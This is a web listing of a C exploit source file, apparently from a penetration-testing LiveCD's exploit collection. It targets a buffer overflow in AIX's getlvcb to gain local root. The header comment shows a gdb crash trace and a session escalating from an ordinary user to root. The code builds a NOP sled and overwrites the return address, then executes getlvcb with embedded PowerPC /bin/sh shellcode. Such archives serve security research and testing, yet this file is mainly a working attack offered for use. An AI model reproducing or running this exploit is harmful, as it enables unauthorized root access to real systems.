home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / getlvcb.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  172 lines

  1. /********************************************************************
  2.  * Secure Network Operations (http://www.secnetops.com)
  3.  * Local AIX getlvcb Exploit
  4.  * by: mattox@secnetops.com
  5.  * Program Description:
  6.  *
  7.  * Vulnerability Details:
  8.  *
  9.  * # gdb -q /usr/sbin/getlvcb
  10.  * (no debugging symbols found)...(gdb) set args `perl -e 'print "A" x 183'`ABCD
  11.  * (gdb) r
  12.  * Starting program: /usr/sbin/getlvcb `perl -e 'print "A" x 183'`ABCD
  13.  *
  14.  * Program received signal SIGSEGV, Segmentation fault.
  15.  * 0x41424344 in ?? ()
  16.  * (gdb) bt
  17.  * #0  0x41424344 in ?? ()
  18.  * (gdb) i r
  19.  * r0             0x6000328e       1610625678
  20.  * r1             0x2ff228a0       804399264
  21.  * r2             0xf012de88       -267198840
  22.  * r3             0x1      1
  23.  * r4             0x9      9
  24.  * r5             0x2ff22ff8       804401144
  25.  * r6             0xd030   53296
  26.  * r7             0x0      0
  27.  * r8             0x60000000       1610612736
  28.  * r9             0x600039ce       1610627534
  29.  * r10            0x0      0
  30.  * r11            0x6000214a       1610621258
  31.  * r12            0x41424344       1094861636
  32.  * r13            0x200008b0       536873136
  33.  * r14            0x0      0
  34.  * r15            0x0      0
  35.  * r16            0x0      0
  36.  * r17            0x0      0
  37.  * r18            0x0      0
  38.  * r19            0x0      0
  39.  * r20            0x0      0
  40.  * r21            0x0      0
  41.  * r22            0x0      0
  42.  * r23            0x0      0
  43.  * r24            0x0      0
  44.  * r25            0x0      0
  45.  * r26            0x0      0
  46.  * r27            0x0      0
  47.  * r28            0x41414141       1094795585
  48.  * r29            0x41414141       1094795585
  49.  * r30            0x41414141       1094795585
  50.  * r31            0x41414141       1094795585
  51.  * pc             0x41424344       1094861636
  52.  * ps             0x4000d030       1073795120
  53.  * cr             0x26222444       639771716
  54.  * lr             0x41424344       1094861636
  55.  * ctr            0x0      0
  56.  * xer            0x0      0
  57.  * fpscr          0x0      0
  58.  * vscr           0x0      0
  59.  * vrsave         0x0      0
  60.  *
  61.  * .............................................................
  62.  * $ uname -a
  63.  * AIX thunderfoot 1 5 002064864C00
  64.  *
  65.  * $ whoami
  66.  * kinet1k
  67.  *
  68.  * $ id
  69.  * uid=7(kinet1k) gid=1(staff) groups=0(system)
  70.  * $ ./r00tme 208 231
  71.  *
  72.  * Secure Network Operations (written by: mattox@secnetops.com)
  73.  * AIX Local getlvncb exploit
  74.  *
  75.  * Fixin to overwrite the address: 0x2ff2283d
  76.  * Using a buffer size of: 208
  77.  * And an offset of: 231
  78.  *
  79.  * # whoami
  80.  * root
  81.  *
  82.  * # id
  83.  * uid=0(root) gid=1(staff) groups=0(system)
  84.  *..............................................................
  85.  *
  86.  *********************************************************************/
  87. #include <stdlib.h>
  88. #include <string.h>
  89.  
  90. #define OFFSET                           0
  91. #define BUFFERSIZE                     208
  92. #define NOP             "\x7c\xa5\x2a\x79"
  93. #define RETURNADDR              0x2ff22924
  94.  
  95. char shellcode[ ] =
  96.         "\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40"
  97.     "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"
  98.     "\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79"
  99.     "\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40"
  100.     "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"
  101.     "\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04"
  102.     "\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10"
  103.     "\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";
  104.  
  105.  
  106. int main( int argc, char *argv[ ] )
  107. {
  108.         int i;
  109.     int offset = OFFSET, bufferSize = BUFFERSIZE;
  110.     unsigned long esp, returnAddress, *addressPointer;
  111.     char *buffer, *pointer;
  112.  
  113.         /* Usage */
  114.         if( argv[ 1 ] ) {
  115.                 if( strncmp( argv[ 1 ], "-h", 3 ) == 0 || strncmp( argv[ 1 ], "-H", 3 ) == 0 ) {
  116.                 printf( "\n\tUsage:  %s <buffer size> <offset>\n\n", argv[ 0 ] );
  117.             exit( 0 );
  118.         }
  119.         }
  120.  
  121.     if( argc > 1 ) {
  122.         bufferSize = atoi( argv[ 1 ] );
  123.     }
  124.  
  125.     if( argc > 2 ) {
  126.         offset = atoi( argv[ 2 ] );
  127.     }
  128.  
  129.     returnAddress = RETURNADDR - offset;
  130.  
  131.     printf( "\nSecure Network Operations (written by: mattox@secnetops.com)\n" );
  132.     printf( "AIX Local getlvncb exploit\n\n" );
  133.     printf( "Fixin to overwrite the address: 0x%x\n", returnAddress );
  134.     printf( "Using a buffer size of: %i\n", bufferSize );
  135.     printf( "And an offset of: %i\n", offset );
  136.  
  137.     if( !( buffer = malloc( bufferSize ) ) ) {
  138.         printf( "Coundn't allocate memory.\n" );
  139.         exit( 0 );
  140.     }
  141.  
  142.         /* I know, this is weird stuff...had to sub odd number to get ret addy to align */
  143.     pointer = buffer - 1;
  144.  
  145.     addressPointer = ( long * )pointer;
  146.  
  147.     for( i = 0; i < bufferSize; i+=4 ) {
  148.         *( addressPointer++ ) = returnAddress;
  149.     }
  150.  
  151.     for( i = 0; i < ( bufferSize / 2 ); i+=4 ) {
  152.         buffer[ i ] = ( unsigned long )NOP;
  153.     }
  154.  
  155.     pointer = buffer + ( ( bufferSize / 2 ) - ( strlen( shellcode )/2 ) );
  156.  
  157.     for( i = 0; i < strlen( shellcode ); i++ ) {
  158.         *( pointer++ ) = shellcode[ i ];
  159.     }
  160.  
  161.     buffer[ bufferSize - 1 ] = '\0';
  162.  
  163.     execl( "/usr/sbin/getlvcb", "getlvcb", buffer, 0 );
  164.  
  165.     free( buffer );
  166.  
  167.     return 0;
  168.  
  169. }
  170.  
  171.  
  172.